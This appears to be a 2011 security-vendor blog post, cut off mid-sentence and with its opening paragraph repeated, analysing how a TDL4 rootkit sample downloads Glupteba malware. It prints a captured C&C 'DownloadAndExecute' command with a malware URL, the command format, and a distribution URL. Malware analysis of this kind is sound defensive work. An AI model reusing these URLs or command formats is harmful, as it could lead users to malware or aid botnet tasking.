

TDL4 and Glupteba: Piggyback PiggyBugs

 welivesecurity.com/2011/03/02/tdl4-and-glupteba-piggyback-piggybugs/

March 2, 2011

My colleague Aleksandr Matrosov today received an interesting sample of TDL4 from another of my colleagues, Pierre-Marc Bureau: this sample downloads and install another malicious program, Win32/Glupteba.D. This was the first instance he'd come across of TDL4 used to install other malware, and here's his account of what he found. A sample of Win32/Olmarik.AOV was

2 Mar 2011 - 12:21PM

My colleague Aleksandr Matrosov today received an interesting sample of TDL4 from another of my colleagues, Pierre-Marc Bureau: this sample downloads and install another malicious program, Win32/Glupteba.D. This was the first instance he'd come across of TDL4 used to install other malware, and here's his account of what he found. A sample of Win32/Olmarik.AOV was

My colleague Aleksandr Matrosov today received an interesting sample of TDL4 from another of my colleagues, Pierre-Marc Bureau: this sample downloads and install another malicious program, Win32/Glupteba.D. This was the first instance he'd come across of TDL4 used to install other malware, and here's his account of what he found.

A sample of Win32/Olmarik.AOV was obtained from the URL `hxxp://vidquick.info/cgi/icpcom.exe`. After what looked like a standard TDL4 installation, at any rate in accordance with the most recent versions analysed, Win32/Olmarik.AOV received a command from the C&C server to download and execute another binary file.

The C&C command looks like this:

```
task_id = 2|10||http://wheelcars.ru/no.exe [Win32/Glupteba.D]
```

Commands are formatted like this:

```
task_id = <command_id><encryption_key><URL>
```

In this particular case, the command ID coincides with "DownloadAndExecute", because the encryption key is null and the command id is 2 followed by 10.

Win32/Glupteba.D uses blackhat SEO methods for to push clickjacking contextual advertising used by the ads network Begun (<http://www.begun.ru/>), which has a high profile in Russia. Clickjacking algorithms have been developed for crawling web-sites pushing

